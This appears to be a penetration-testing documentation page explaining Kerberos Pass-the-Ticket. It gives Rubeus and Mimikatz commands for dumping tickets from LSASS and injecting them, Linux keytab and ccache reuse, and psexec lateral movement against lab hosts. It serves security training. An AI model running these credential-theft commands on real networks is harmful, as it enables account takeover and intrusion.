> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Pass-the-Ticket (PtT)

Pass-the-Ticket is a credential theft technique that lets an adversary authenticate to resources (file shares, other hosts) using a stolen Kerberos ticket, instead of that user's password.

* Both ticket types can be stolen and reused: a TGS (service ticket) grants access to one specific service, a TGT (ticket-granting ticket) can be used to request a TGS for *any* service the account is entitled to.
* Without administrative privileges, only the current user's own tickets are reachable (a TGT via fake delegation, plus whatever TGS tickets are already cached).
* With administrative privileges, LSASS itself can be dumped to pull every TGT and TGS cached on the host, for every logged-on user, not just the current one.

***

## Windows (Rubeus / Mimikatz)

Rubeus:

```text theme={null}
Rubeus.exe dump /nowrap                                                        # dump tickets from the current session
Rubeus.exe asktgt /domain:<domain> /user:<user> /rc4:<ntlm-hash> /ptt            # request + inject a TGT directly

Rubeus.exe ptt /ticket:<base64-or-path>                                          # inject an already-held ticket
```

Mimikatz:

```text theme={null}
sekurlsa::tickets /export      # Mimikatz: export tickets for all logged-on users from LSASS (needs admin/SYSTEM)
kerberos::list /export          # Mimikatz: export only the current user's own tickets (no admin needed)

kerberos::ptt "<path-to-ticket.kirbi>"
```

Once injected (`/ptt`, or after `kerberos::ptt`), remoting to another host is very easy

```powershell theme={null}
Enter-PSSession -ComputerName DC01
```

> [!TIP]
>
> `Rubeus.exe asktgt ... /rc4:<ntlm-hash> /ptt` is **OverPass-the-Hash** (a.k.a. Pass-the-Key): it bridges [Pass-the-Hash](https://0-x.dev/lateral-movement/pass-the-hash.md) and [Pass-the-Ticket](https://0-x.dev/lateral-movement/pass-the-ticket.md)by trading an NTLM hash for a real Kerberos TGT, useful once a target stops accepting NTLM outright but Kerberos is still open.

## Linux (keytab-based)

A keytab file holds a service or user's Kerberos key in reusable form, finding one during enumeration is equivalent to finding that account's password.

```bash theme={null}
klist -k -t /opt/specialfiles/carlos.keytab          # inspect a keytab's contents
kinit carlos@INLANEFREIGHT.HTB -k -t carlos.keytab    # obtain a TGT directly from the keytab, no password needed
python3 keytabextract.py carlos.keytab            # extract the raw hash from a keytab for cracking/PtH
```

Using an already-obtained ticket cache file directly:

```bash theme={null}
cp /tmp/krb5cc_1000 /root/carlos.ccache
export KRB5CCNAME=FILE:/root/carlos.ccache
```

### Using a Ticket Exported from Windows (base64 round-trip)

The common path when a ticket is dumped on a Windows box (Rubeus `/nowrap`, Mimikatz export) and needs to be reused from a Linux attack host.

```bash theme={null}
# 1. decode the copied base64 ticket back into a .kirbi format
base64 -d ticket.kirbi.b64 > ticket.kirbi

# 2. convert it to a ccache file Linux tooling understands
ticketConverter.py ticket.kirbi ticket.ccache

# 3. point Kerberos tooling at it
export KRB5CCNAME=ticket.ccache

# 4. authenticate with it, no password needed
psexec.py support.htb/administrator@dc.support.htb -k -no-pass
```

***

## Converting Between Ticket Formats

Windows tools expect `.kirbi`, Linux tooling expects a `ccache` file, converting between them is routine when pivoting between different OS.

```bash theme={null}
ticketConverter.py krb5cc_1000 ticket.kirbi      # ccache -> kirbi / linux -> windows
ticketConverter.py ticket.kirbi ticket.ccache           # kirbi -> ccache / windows -> linux
```

***

## Quick Reference Tools

> **[Pass-the-Hash](https://0-x.dev/lateral-movement/pass-the-hash.md)**
>
> The NTLM-hash equivalent, for services that still accept NTLM.

> **[Kerberos Double Hop Problem](https://0-x.dev/lateral-movement/kerberos-double-hop-problem.md)**
>
> Why a ticket that works for the first hop can still fail on a second one.

> **[Rubeus](https://github.com/GhostPack/Rubeus)**
>
> The primary Windows-side Kerberos ticket toolkit used throughout this page.

> **[Mimikatz](https://github.com/gentilkiwi/mimikatz)**
>
> The primary Windows-side Kerberos ticket toolkit used throughout this page.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.